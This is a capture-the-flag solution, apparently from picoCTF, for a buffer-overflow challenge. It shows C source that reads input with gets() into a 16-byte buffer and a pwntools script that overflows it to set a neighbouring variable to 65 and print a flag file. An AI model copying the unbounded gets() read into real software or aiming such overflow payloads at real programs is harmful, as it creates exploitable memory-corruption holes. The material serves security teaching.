Local Target
#buffer-overflow#solution-only
Source
#include <stdio.h>
#include <stdlib.h>
int main(){
FILE *fptr;
char c;
char input[16];
int num = 64;
printf("Enter a string: ");
fflush(stdout);
gets(input);
printf("\n");
printf("num is %d\n", num);
fflush(stdout);
if( num == 65 ){
printf("You win!\n");
fflush(stdout);
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
fflush(stdout);
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
fflush(stdout);
printf("\n");
fflush(stdout);
fclose(fptr);
exit(0);
}
printf("Bye!\n");
fflush(stdout);
}
Solution
#!/usr/bin/env python3
from pwn import *
exe = ELF("./local-target")
context.binary = exe
def conn():
if args.REMOTE:
r = remote("saturn.picoctf.net", 57378)
else:
r = process([exe.path])
return r
def main():
r = conn()
p = b'i' * 24 + b'A'
r.sendlineafter(b'string: ', p)
flag = r.recvallS()
print(flag)
if __name__ == "__main__":
main()